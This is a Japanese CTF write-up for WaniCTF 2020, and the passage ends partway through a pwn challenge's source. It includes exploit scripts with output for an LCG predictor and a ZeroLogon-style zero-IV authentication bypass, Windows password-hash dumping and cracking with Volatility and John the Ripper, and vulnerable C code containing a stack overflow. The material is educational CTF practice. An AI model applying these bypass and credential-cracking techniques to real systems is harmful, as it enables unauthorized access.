WaniCTF 2020 Writeup
はじめに
WaniCTF 2020に参加して全ての問題を解き187人中3位でした。
出題された全ての問題について解法を載せていきます。
[Crypto Beginner] Veni, vidi
SYNT{fvzcyr_pynffvpny_pvcure}
という文字列が与えられます。タイトルから推測するにVigenere暗号でしょう。
dcode.fr で既知平文である「FLAG」を元に解読できます。
追記
ROT13だったらしいけど解けたのでヨシ!
FLAG{simple_classical_cipher}
[Crypto Easy] exclusive
key = "REDACTED" flag = "FAKE{this_is_fake_flag}" assert len(key) == len(flag) == 57 assert flag.startswith("FLAG{") and flag.endswith("}") assert key[0:3] * 19 == key def encrypt(s1, s2): assert len(s1) == len(s2) result = "" for c1, c2 in zip(s1, s2): result += chr(ord(c1) ^ ord(c2)) return result ciphertext = encrypt(flag, key) print(ciphertext, end="")
プログラムと暗号化されたファイルoutput.txtが与えられます。
XORを使って暗号化してるようですが、よく条件を見てみるとkeyは3文字を9回繰り返した文字列であるようです。
フラグの先頭がFLAGであることがわかっているので、FLAとoutput.txtの先頭3文字でXORを取ればkeyが手に入ります。
>>> cipher = open("output.txt", "rb").read() >>> key = bytes([ci ^ fi for ci, fi in zip(cipher[:3], b"FLA")]) * 19 >>> bytes([ci ^ fi for ci, fi in zip(cipher, key)]) b'FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}'
[Crypto Normal] Basic RSA
netcatで指定されたポートに繋ぐとRSA暗号の暗号化方法、復号化方法を問われます。
wikipedia を見ながら手動で解きました。
-> nc rsa.wanictf.org 50000 :::::::.. .::::::. :::. ;;;;``;;;; ;;;` ` ;;`;; [[[,/[[[' '[==/[[[[, ,[[ '[[, $$$$$$c ''' $c$$$cc$$$c 888b "88bo,88b dP 888 888, MMMM "W" "YMmMY" YMM ""` +================================+ | Given : p, q (512-bit integer) | | Find : n = p*q | +================================+ p = 7243360162432688596605095627704613927101934452319549327332765720730244869135827061005182568237421939419463522904171481829018078808590300807153136440631159 q = 4858999306874381239611465714516370398880268087643086424774919350934294716639906199500463258105303753903349605439942210801612599821100659932470224334260931 [n?] > 35195482008701939400398475517502404839423680777840678659010448082090051740436430457134035269568846426804557917149884422209870169723554054262626655380543518783151979082325695365008584511181304263751224332203428760595068614001014894594311175064416654270278358330856178772031567955630715300739380325013434949029 [+] Correct! Proceed to the next challenge -> +=======================================+ | Given : m ) Message | | e ) Public exponent | | n ) p*q (p, q 512-bit prime) | | Find : c = m**e (mod n) | +=======================================+ m = 194695434894748509411324836678520863620 e = 65537 n = 53806700340222492506293384308706328565689351703584937830558288855881812122829977171094000951064354047094797158178880737810884360066250081270133900391693772950533531067349644625014260177131497096666124285543496350577806219639882811729582217942633567892375414756232733891464346547897451550669624481137742610187 [c?] > 13433736438998877192096628383764860522492560625268286686562414257410235866785936100548848501139208366987073227858306014170899805674322509381439145906265435001811497324455860580013425568095815882302655929966547717755001827053798762117783663233438650279048165860793259737282055645409148431664771772257279608371 [+] Correct! Proceed to the final challenge! +=====================================+ | Given : p, q ) 512-bit primes | | e ) Public exponent | | c ) Encrypted message | | = m**e (mod p*q) | | Find : m ) Message | +=====================================+ p = 11199361932385765828163352244055695502194582937336541388874070826976071382182277567923367067737303743734989475271479909851042875184773880158970309802736549 q = 11871456903289880253446258389985366333246241137336748411688781654243635982220537085613109595037534758351912874139775335159759348024910774079330842670850331 e = 65537 c = 127311914162840617314726530087732843264979162734469136032489000222971810603510539574035394280220873384369001229756899093013163370984970758520016325545270400665094826759495364479287951788222714452158669668157460270398032516296245897218392609274866861140951737683229884817155622479314062611936901204748443009809 [m?] > 83655593387164246451175125993236411700 [+] Correct! Here's your reward: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
[Crypto Hard] LCG crack
import random import os from Crypto.Util.number import * from const import flag, logo, description, menu class RNG: def __init__(self, seed, a, b, m): self.a = a self.b = b self.m = m self.x = seed % m def next(self): self.x = (self.a * self.x + self.b) % self.m return self.x def show_menu(): print(menu) log(description) while not (choice := input("> ")) in "123": print("Invalid choice.") return int(choice) if __name__ == "__main__": print(logo) seed = random.getrandbits(64) a = random.getrandbits(64) b = random.getrandbits(64) m = getPrime(64, os.urandom) rng = RNG(seed, a, b, m) while True: choice = show_menu() # Print if choice == 1: print(rng.next()) # Guess elif choice == 2: for cnt in range(1, 11): print(f"[{cnt}/10] Guess the next number!") try: guess = int(input("> ")) except ValueError: print("Please enter an integer\n\n\n") continue if guess == rng.next(): print(f"Correct! ") cnt += 1 else: print(f"Wrong... Try again!") break else: print(f"Congratz! {flag}") break # Exit else: print("Bye :)") break
プログラムが与えられます。乱数を10回当てられたらフラグが手に入るようです。
まずタイトルのLCGとは何か?と調べてみると線形合同法という疑似乱数が出てきました。
ちょうど kurenaif さんの動画に乱数予測の動画があったような...と調べてみるとドンピシャでした。
この動画を参考にしながらexploitを書きます。
from pwn import * from math import gcd io = remote("lcg.wanictf.org", 50001) X = [] for i in range(7): io.sendlineafter(b"\n> ", "1") X.append(int(io.recvline().rstrip())) Y = [X[i+1] - X[i] for i in range(len(X)-1)] Z1 = Y[0] * Y[3] - Y[1] * Y[2] Z2 = Y[1] * Y[4] - Y[2] * Y[3] Z3 = Y[2] * Y[5] - Y[3] * Y[4] M = gcd(Z1, gcd(Z2, Z3)) log.info(f"M: {M}") A = (Y[1] * pow(Y[0], -1, M)) % M log.info(f"A: {A}") B = (X[1] - A * X[0]) % M log.info(f"B: {B}") io.sendlineafter(b"\n> ", "2") current_X = X[-1] for i in range(10): current_X = (A * current_X + B) % M log.info(f"next: {current_X}") print(io.recvuntil("\n> ")) io.sendline(str(current_X)) io.interactive()
-> python3 solve.py [+] Opening connection to lcg.wanictf.org on port 50001: Done [*] M: 9708743383182831331 [*] A: 1432103539817711575 [*] B: 9324755147498827300 [*] next: 9597998430019619413 b'\x1b[34m - [1/10] Guess the next number!\x1b[0m\n> ' [*] next: 7334975414089673693 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [2/10] Guess the next number!\x1b[0m\n> ' [*] next: 314060680188113301 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [3/10] Guess the next number!\x1b[0m\n> ' [*] next: 305460980168365517 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [4/10] Guess the next number!\x1b[0m\n> ' [*] next: 994021796179190613 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [5/10] Guess the next number!\x1b[0m\n> ' [*] next: 7060484687390302682 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [6/10] Guess the next number!\x1b[0m\n> ' [*] next: 5490402009832632113 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [7/10] Guess the next number!\x1b[0m\n> ' [*] next: 8372529820657714077 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [8/10] Guess the next number!\x1b[0m\n> ' [*] next: 7729156918968405460 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [9/10] Guess the next number!\x1b[0m\n> ' [*] next: 4132871645318024012 b'\x1b[34m - Correct! \x1b[0m\n\x1b[34m - [10/10] Guess the next number!\x1b[0m\n> ' [*] Switching to interactive mode - Correct! Congratz! FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
[Crypto VeryHard] l0g0n
from hashlib import pbkdf2_hmac import os from Crypto.Cipher import AES from secret import flag, psk class AES_CFB8: def __init__(self, key): self.block_size = 16 self.cipher = AES.new(key, AES.MODE_ECB) def encrypt(self, plaintext: bytes, iv=bytes(16)): iv_plaintext = iv + plaintext ciphertext = bytearray() for i in range(len(plaintext)): X = self.cipher.encrypt(iv_plaintext[i : i + self.block_size])[0] Y = plaintext[i] ciphertext.append(X ^ Y) return bytes(ciphertext) def key_derivation_function(x): dk = pbkdf2_hmac("sha256", x, os.urandom(16), 100000) return dk def main(): while True: client_challenge = input("Challenge (hex) > ") client_challenge = bytes.fromhex(client_challenge) server_challenge = os.urandom(8) print(f"Server challenge: {server_challenge.hex()}") session_key = key_derivation_function(psk + client_challenge + server_challenge) client_credential = input("Credential (hex) > ") client_credential = bytes.fromhex(client_credential) cipher = AES_CFB8(session_key) server_credential = cipher.encrypt(client_challenge) if client_credential == server_credential: print(f"OK! {flag}") else: print("Authentication Failed... 🥺") if __name__ == "__main__": main()
client_challengeを投げてserver challengeの値を元にclient_credentialを投げ、serverと一致したらフラグが手に入るようです。
CryptoでAESというとPadding Oracle Attackくらいしか知らず、どうにかできないか結構悩みました。
その後眺めてみるとiv=bytes(16)という部分に目が行きました。ivが"\x00"で埋められている...?
そのワードで気が付きました。つい先日話題になった ZeroLogon です。
これもkurenaifさんが動画で解説してくださっていたため、それを参考にexploitを書きます。
from pwn import * io = remote("l0g0n.wanictf.org", 50002) for i in range(128): io.sendlineafter("Challenge (hex) > ", "00"*8) io.sendlineafter("Credential (hex) > ", "00"*8) print(i, io.recvline())
-> python3 solve.py [+] Opening connection to l0g0n.wanictf.org on port 50002: Done 0 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 1 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 2 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 3 b'Authentication Failed... \xf0\x9f\xa5\xba\n' 4 b'Authentication Failed... \xf0\x9f\xa5\xba\n' ... 92 b"OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'\n"
kurenaifさんに感謝...!
[Forensics Beginner] logged_flag
keylog.txtが渡されます。以下抜粋
11:50:24 [F] 11:50:26 [Shift] 11:50:26 [L] 11:50:27 [Shift] 11:50:27 [A] 11:50:28 [Shift] 11:50:28 [G] 11:50:29 [Shift] 11:50:29 [[] 11:50:31 [K] 11:50:32 [3] 11:50:33 [Y] 11:50:35 [Shift] 11:50:35 [-] 11:50:36 [L] 11:50:36 [0] 11:50:37 [G] 11:50:38 [G] 11:50:38 [3] 11:50:38 [R] 11:50:41 [Shift] 11:50:41 [-] 11:50:41 [1] 11:50:42 [S] 11:50:43 [Shift] 11:50:43 [-] 11:50:44 [V] 11:50:45 [3] 11:50:47 [R] 11:50:47 [Y] 11:50:47 [Shift] 11:50:47 [-] 11:50:49 [D] 11:50:49 [4] 11:50:50 [N] 11:50:51 [G] 11:50:52 [3] 11:50:52 [R] 11:50:53 [0] 11:50:54 [U] 11:50:54 [S] 11:50:55 [Shift] 11:50:55 []]
日本語キーボードと英字キーボードの差異に気を付けて復元します。
FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}
[Forensics Easy] ALLIGATOR_01
メモリダンプが渡されます。問題文によるとevil.exeを実行した時刻がフラグになるようです。
メモリダンプといえばvolatility。まだ持っていなかったためインストールに四苦八苦して時間がかかりました。
メモリフォレンジックCTF「MemLabs」Lab1のWriteUp を参考にvolatilityを使っていきます。
まずどの環境のメモリダンプなのかを特定します。
-> vol.py -f ALLIGATOR.raw imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/mnt/c/Users/shinji/MyFiles/CTF/WaniCTF2020/ALLIGATOR.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x82754de8L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x80b96000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2020-10-26 03:04:49 UTC+0000 Image local date and time : 2020-10-25 20:04:49 -0700
Win7SP1x86_23418というプロファイルのようです。pstreeコマンドでプロセスの状態を確認します。
-> vol.py -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree Volatility Foundation Volatility Framework 2.6.1 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0x84a54ab0:csrss.exe 328 320 9 411 2020-10-26 19:00:23 UTC+0000 . 0x84aeab70:conhost.exe 336 328 2 33 2020-10-26 03:00:28 UTC+0000 0x843da208:wininit.exe 364 320 3 77 2020-10-26 19:00:23 UTC+0000 . 0x84a5c7a8:services.exe 460 364 6 211 2020-10-26 19:00:23 UTC+0000 .. 0x84aded20:svchost.exe 768 460 20 455 2020-10-26 03:00:25 UTC+0000 ... 0x84b2fd20:audiodg.exe 1008 768 6 122 2020-10-26 03:00:25 UTC+0000 .. 0x84c5a9d8:svchost.exe 1164 460 16 365 2020-10-26 03:00:26 UTC+0000 .. 0x84b35030:svchost.exe 1040 460 7 135 2020-10-26 03:00:25 UTC+0000 .. 0x84b22030:svchost.exe 920 460 16 344 2020-10-26 03:00:25 UTC+0000 .. 0x84abc030:VBoxService.ex 660 460 12 116 2020-10-26 19:00:24 UTC+0000 .. 0x84f0d9c0:SearchIndexer. 2332 460 11 688 2020-10-26 03:00:33 UTC+0000 ... 0x83f211a8:SearchFilterHo 2660 2332 5 99 2020-10-26 03:03:33 UTC+0000 ... 0x84f32030:SearchProtocol 2400 2332 6 279 2020-10-26 03:00:33 UTC+0000 .. 0x84e7f258:svchost.exe 2052 460 5 92 2020-10-26 03:00:29 UTC+0000 .. 0x84b11710:svchost.exe 880 460 18 414 2020-10-26 03:00:25 UTC+0000 ... 0x84d05570:dwm.exe 1544 880 3 68 2020-10-26 03:00:26 UTC+0000 ... 0x84f49300:dwm.exe 2948 880 3 72 2020-10-26 03:01:43 UTC+0000 .. 0x84ce78f0:taskhost.exe 1444 460 8 163 2020-10-26 03:00:26 UTC+0000 .. 0x84d3d798:svchost.exe 1628 460 12 216 2020-10-26 03:00:26 UTC+0000 .. 0x84aa0448:svchost.exe 944 460 34 962 2020-10-26 03:00:25 UTC+0000 ... 0x83ee7d20:wuauclt.exe 2212 944 5 93 2020-10-26 03:03:31 UTC+0000 .. 0x84ac6810:svchost.exe 712 460 8 276 2020-10-26 03:00:25 UTC+0000 .. 0x8493e578:svchost.exe 3912 460 13 379 2020-10-26 03:02:30 UTC+0000 .. 0x84cad2c8:svchost.exe 1340 460 18 309 2020-10-26 03:00:26 UTC+0000 .. 0x84a4bd20:taskhost.exe 2884 460 10 250 2020-10-26 03:01:43 UTC+0000 .. 0x84aa58b8:svchost.exe 596 460 9 354 2020-10-26 19:00:24 UTC+0000 ... 0x84e6a910:WmiPrvSE.exe 1108 596 7 161 2020-10-26 03:03:16 UTC+0000 ... 0x83f3ac68:WmiPrvSE.exe 3376 596 8 117 2020-10-26 03:04:27 UTC+0000 .. 0x84d14a80:svchost.exe 1572 460 10 144 2020-10-26 03:00:26 UTC+0000 .. 0x84dbbd20:cygrunsrv.exe 1840 460 6 101 2020-10-26 03:00:27 UTC+0000 ... 0x84dc8030:cygrunsrv.exe 1772 1840 0 ------ 2020-10-26 03:00:28 UTC+0000 .... 0x84aa1510:sshd.exe 856 1772 4 100 2020-10-26 03:00:28 UTC+0000 .. 0x84e024e8:wlms.exe 2024 460 4 46 2020-10-26 03:00:27 UTC+0000 .. 0x84d1d458:sppsvc.exe 1908 460 4 146 2020-10-26 03:00:29 UTC+0000 .. 0x84c9e668:spoolsv.exe 1300 460 13 294 2020-10-26 03:00:26 UTC+0000 . 0x84a89850:lsass.exe 476 364 7 601 2020-10-26 19:00:23 UTC+0000 . 0x84a5f250:lsm.exe 484 364 10 170 2020-10-26 19:00:23 UTC+0000 0x83d3ac58:System 4 0 82 541 2020-10-26 19:00:20 UTC+0000 . 0x84429020:smss.exe 252 4 2 32 2020-10-26 19:00:20 UTC+0000 0x84435030:explorer.exe 2964 2932 34 1091 2020-10-26 03:01:43 UTC+0000 . 0x84dd6b28:evil.exe 3632 2964 1 21 2020-10-26 03:01:55 UTC+0000 . 0x84dd8030:VBoxTray.exe 3108 2964 13 143 2020-10-26 03:01:43 UTC+0000 . 0x83f52d20:MRCv120.exe 3740 2964 16 356 2020-10-26 03:04:32 UTC+0000 . 0x8494c030:cmd.exe 3728 2964 1 19 2020-10-26 03:02:09 UTC+0000 0x849c0220:winlogon.exe 408 356 3 110 2020-10-26 19:00:23 UTC+0000 0x84a66030:csrss.exe 376 356 8 145 2020-10-26 19:00:23 UTC+0000 0x84d12be0:explorer.exe 1564 1532 18 644 2020-10-26 03:00:26 UTC+0000 . 0x84dc8a38:VBoxTray.exe 1880 1564 12 142 2020-10-26 03:00:27 UTC+0000 0x8448eb18:csrss.exe 2676 2656 7 218 2020-10-26 03:01:39 UTC+0000 . 0x83eb8d20:conhost.exe 3736 2676 2 53 2020-10-26 03:02:09 UTC+0000 0x84a22710:winlogon.exe 2700 2656 3 107 2020-10-26 03:01:39 UTC+0000
evil.exeが実行された時刻がわかりました。
FLAG{2020-10-26_03:01:55_UTC+0000}
[Forensics Normal] ALLIGATOR_02
問題文によるとコマンドプロンプトの実行履歴にフラグが書いてあるようです。
consolesコマンドを打って復元しましょう。
-> vol.py -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles Volatility Foundation Volatility Framework 2.6.1 ************************************************** ConsoleProcess: conhost.exe Pid: 336 Console: 0x4f81c0 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe AttachedProcess: sshd.exe Pid: 856 Handle: 0x54 ---- CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x54 ---- CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags: CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x0 ---- Screen 0xc6098 X:80 Y:300 Dump: ************************************************** ConsoleProcess: conhost.exe Pid: 3736 Console: 0x4f81c0 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: %SystemRoot%\system32\cmd.exe Title: Administrator: C:\Windows\system32\cmd.exe AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c ---- CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset CommandCount: 1 LastAdded: 0 LastDisplayed: 0 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x5c Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt ---- Screen 0x3363b8 X:80 Y:300 Dump: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt FLAG{y0u_4re_c0n50les_master} C:\Users\ALLIGATOR>
FLAG{y0u_4re_c0n50les_master}
[Forensics Normal] chunk_eater
壊れたpngファイルが与えられます。radare2で調べてみます。
-> r2 -w eaten.png [0x00000000]> px - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x00000000 8950 4e47 0d0a 1a0a 0000 000d 5741 4e49 .PNG........WANI 0x00000010 0000 0470 0000 04d0 0806 0000 009b 6ab2 ...p..........j. 0x00000020 3400 0000 0173 5247 4200 aece 1ce9 0000 4....sRGB....... 0x00000030 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a... 0x00000040 0009 7048 5973 0000 0ec4 0000 0ec4 0195 ..pHYs.......... 0x00000050 2b0e 1b00 0000 1974 4558 7453 6f66 7477 +......tEXtSoftw 0x00000060 6172 6500 4164 6f62 6520 496d 6167 6552 are.Adobe ImageR 0x00000070 6561 6479 71c9 653c 0000 0324 6954 5874 eadyq.e<...$iTXt 0x00000080 584d 4c3a 636f 6d2e 6164 6f62 652e 786d XML:com.adobe.xm 0x00000090 7000 0000 0000 3c3f 7870 6163 6b65 7420 p.....<?xpacket 0x000000a0 6265 6769 6e3d 22ef bbbf 2220 6964 3d22 begin="..." id=" 0x000000b0 5735 4d30 4d70 4365 6869 487a 7265 537a W5M0MpCehiHzreSz 0x000000c0 4e54 637a 6b63 3964 223f 3e20 3c78 3a78 NTczkc9d"?> <x:x 0x000000d0 6d70 6d65 7461 2078 6d6c 6e73 3a78 3d22 mpmeta xmlns:x=" 0x000000e0 6164 6f62 653a 6e73 3a6d 6574 612f 2220 adobe:ns:meta/" 0x000000f0 783a 786d 7074 6b3d 2241 646f 6265 2058 x:xmptk="Adobe X
IHDRチャンクの部分がWANIに置き換えられているので直します。
[0x00000000]> w IHDR @ 0xc
まだ壊れてるようなので、他にもWANIがないか調べてみます。
[0x00000000]> / WANI Searching 4 bytes in [0x0-0x22dc9] hits: 4 0x000003ac hit0_0 .nd="r"?>lPWANIx^xTC. 0x00010008 hit0_1 .#O`wc WANIB4Pf6]hs. 0x00020008 hit0_2 ._0bXAw-WANI#ue5s.. 0x00022dc1 hit0_3 .4WWANIB`. [0x00000000]> px @ 0x000003ac - 16 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x0000039c 6e64 3d22 7222 3f3e b86c af91 0000 fc50 nd="r"?>.l.....P 0x000003ac 5741 4e49 785e ecdd 0578 54d7 b607 f07f WANIx^...xT..... 0x000003bc dcdd dd43 70d7 e256 a040 4bdd 6edd fdd6 ...Cp..V.@K.n... 0x000003cc db5b 7777 77f7 960a 2db4 050a 85e2 ee41 .[www...-......A 0x000003dc 1288 bbbb bed9 87dd 5703 4a32 fb8c 9cf9 ........W.J2.... 0x000003ec ffbe 6fbe ecb5 d3fb 5e0b c9cc 39eb acbd ..o.....^...9... 0x000003fc 9653 a709 8888 8888 8888 8888 c866 39cb .S...........f9. 0x0000040c af44 4444 4444 4444 4464 a398 c021 2222 .DDDDDDDDd...!"" 0x0000041c 2222 2222 22b2 713c 4245 4444 440e a5b8 """"".q<BEDDD... 0x0000042c a808 f9b9 b9da 57f1 2a2b 2dd5 be56 5654 ......W.*+-..VVT 0x0000043c a0ba aa4a 7bd5 5457 a3b6 b616 4d8d 8d68 ...J{.TW....M..h 0x0000044c 6e6e 466d 4d0d 0e77 c9e4 eaea 0a6f 1f9f nnFmM..w.....o.. 0x0000045c ff5f fbfa f921 2020 0001 8181 dacb 5fae ._...! ......_. 0x0000046c 8382 8210 1e19 89a8 e868 4498 be46 c7c6 .........hD..F.. 0x0000047c 222c 3c5c fbdf 1011 1111 fd1b 2670 8888 ",<\........&p.. 0x0000048c 88c8 505a 5b5b 91bd 6f1f f664 6622 6bef ..PZ[[..o..df"k.
直前の4バイトから察するにIDATチャンクでしょう。IDATに置き換えます。
[0x00000000]> w IDAT @ 0x000003ac
この調子で残りの3つもIDATに置き換えると、正常な画像が得られます。
[Forensics Hard] ALLIGATOR_03
wani_secret.zipというフラグが入っているファイルが与えられます。
問題文によると、このzipのパスワードとパソコンのパスワードが同じであるそうです。
メモリダンプからhashdumpコマンドを使ってまずパスワードのハッシュを復元します。
-> vol.py -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump | tee hashs.txt Volatility Foundation Volatility Framework 2.6.1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035::: ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::
ハッシュが取れたらとりあえずJohn The Ripperに投げます。
-> john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashs.txt Using default input encoding: UTF-8 Loaded 4 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3]) Remaining 1 password hash Warning: no OpenMP support for this hash type, consider --fork=8 Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2020-11-23 14:10) 0g/s 18628Kp/s 18628Kc/s 18628KC/s _ 09..*7¡Vamos! Session completed -> john --format=NT --show hashs.txt Administrator:Passw0rd!:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:Passw0rd!:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: sshd::1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ALLIGATOR:ilovewani:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590::: 5 password hashes cracked, 1 left
ALLIGATORというユーザーのパスワードはilovewaniであるようです。これを使いzipを解凍しましょう。
-> unzip -P ilovewani wani_secret.zip Archive: wani_secret.zip creating: wani_secret/ inflating: wani_secret/flag.txt -> cat wani_secret/flag.txt 【正式名称】 大阪大学 公式マスコットキャラクター「ワニ博士」 【プロフィール】 名前: ワニ博士(わにはかせ) 誕生日: 5 月 3 日 性別: オス 出身地: 大阪府 豊中市 待兼山町 【性格】 温厚,好奇心旺盛,努力型,お茶目,社交的,たまに天然,賢い 【趣味】 ・阪大キャンパスでコーヒーを飲みながら学生としゃべる ・粉もん屋めぐり ・化石集め。(いつか自分の仲間に会うために) ・CTF: FLAG{The_Machikane_Crocodylidae}
FLAG{The_Machikane_Crocodylidae}
[Forensics VeryHard] zero_size_png
名前の通りサイズが0 x 0のPNGファイルが与えられます。
IHDRチャンク内のサイズを書き替えて画像を表示させることはできますが、元のサイズを知らないためズレが激しく復元できません。
ではどうしたかというと、†手動二分探索†を行います(は?)
適当に0x50区切りで横幅を変更していたら0x250だとズレが少ないことに気付いたのであとは適当に二分探索しながらズレを補正していきます。
すると0x257でピッタリになるので、あとは高さを適当に高くすれば画像が得られます。
ゴリラ解法、最高!w
追記
想定解はCRCを使って求めるようです。CRCは前に少し調べて難しそうなので投げたんですよね、本当に申し訳ない...
[Misc Beginner] Find a Number
import random flag = b"FAKE{this_is_a_fake_flag}" def main(): number = random.randint(0, 500000) print("find a number") for i in range(20): print("challenge", i) client_challenge = int(input("input:")) if client_challenge == number: print("correct!!!") print(flag) exit() elif client_challenge < number: print("too small") print("try again!") else: print("too big") print("try again!") print("You've failed too many times") if __name__ == "__main__": main()
数当てゲームといえば二分探索、二分探索といえば数当てゲーム。
from pwn import * io = remote("number.wanictf.org",60000) def is_ok(mid): io.sendlineafter("input:", str(mid)) result = io.recvline() print(mid, result) if result == b"too small\n": return False elif result == b"too big\n": return True elif result == b"correct!!!\n": io.interactive() def bisect(ng, ok): while (abs(ok - ng) > 1): mid = (ok + ng) // 2 print(ng, ok, mid) if is_ok(mid): ok = mid else: ng = mid return ok bisect(-1, 500001)
-> python3 solve.py [+] Opening connection to number.wanictf.org on port 60000: Done 250000 b'too big\n' 124999 b'too big\n' 62499 b'too small\n' 93749 b'too big\n' 78124 b'too small\n' 85936 b'too big\n' 82030 b'too small\n' 83983 b'too big\n' 83006 b'too big\n' 82518 b'too small\n' 82762 b'too big\n' 82640 b'too big\n' 82579 b'too big\n' 82548 b'too big\n' 82533 b'too small\n' 82540 b'too big\n' 82536 b'too small\n' 82538 b'correct!!!\n' [*] Switching to interactive mode FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
[Misc Normal] MQTT Challenge
MQTTプロトコルをテストできるWebサイトが与えられます。トピックをこちらから指定することができ、トピックから定期的に何かを受信するような形です。
問題文によると秘密のトピックというものがあり、それがフラグを配信しているようです。
「MQTT CTF」で調べると Writeup が見つかります。
これによるとMQTTでは#がワイルドカードに使えるようなので、トピックを#に変更するとフラグを受信することができます。
topic:nkt/test, message:"Hello! FROM:wani_user TIME:2020-11-23 14:29:58" topic:nkt/hoge, message:"hogehoge!? FROM:wani_teacher TIME:2020-11-23 14:30:01" topic:nkt/huga, message:"hugahuga! FROM:wani_student TIME:2020-11-23 14:30:04" topic:flag, message:"FAKE{fake_flag_flog} 2020-11-23 14:30:07" topic:nkt/wani, message:"WaniCTF MQTT Challenge! TIME: 2020-11-23 14:30:10" topic:nkt/flag, message:"FAKE{fake_hoge_huga} TIME:2020-11-23 14:30:13" topic:top/secret/himitu/daiji/mitara/dame/zettai/flag, message:"FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23} TIME:2020-11-23 14:30:16"
FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
[PWN Beginner] netcat
netcatで繋ぐだけです。
-> nc netcat.wanictf.org 9001 congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
[PWN Beginner] var rewrite
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void init(); void debug_stack_dump(unsigned long rsp, unsigned long rbp); char str_head[] = "hello "; char str_tail[] = "!\n"; void win() { puts("Congratulation!"); system("/bin/sh"); exit(0); } void vuln() { char target[] = "HACKASE"; char name[10]; char *p; int ret; printf("What's your name?: "); ret = read(0, name, 0x100); name[ret - 1] = 0; write(0, str_head, strlen(str_head)); write(0, name, strlen(name)); write(0, str_tail, strlen(str_tail)); if (strncmp(target, "WANI", 4) == 0) { win(); } else { printf("target = %s\n", target); } { //for learning stack register unsigned long rsp asm("rsp"); register unsigned long rbp asm("rbp"); debug_stack_dump(rsp, rbp); } } int main() { init(); while (1) { vuln(); } } void init() { alarm(30); setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void debug_stack_dump(unsigned long rsp, unsigned long rbp) { unsigned long i; printf("\n***start stack dump***\n"); i = rsp; while (i <= rbp + 8) { unsigned long *p; p = (unsigned long *)i; printf("0x%lx: 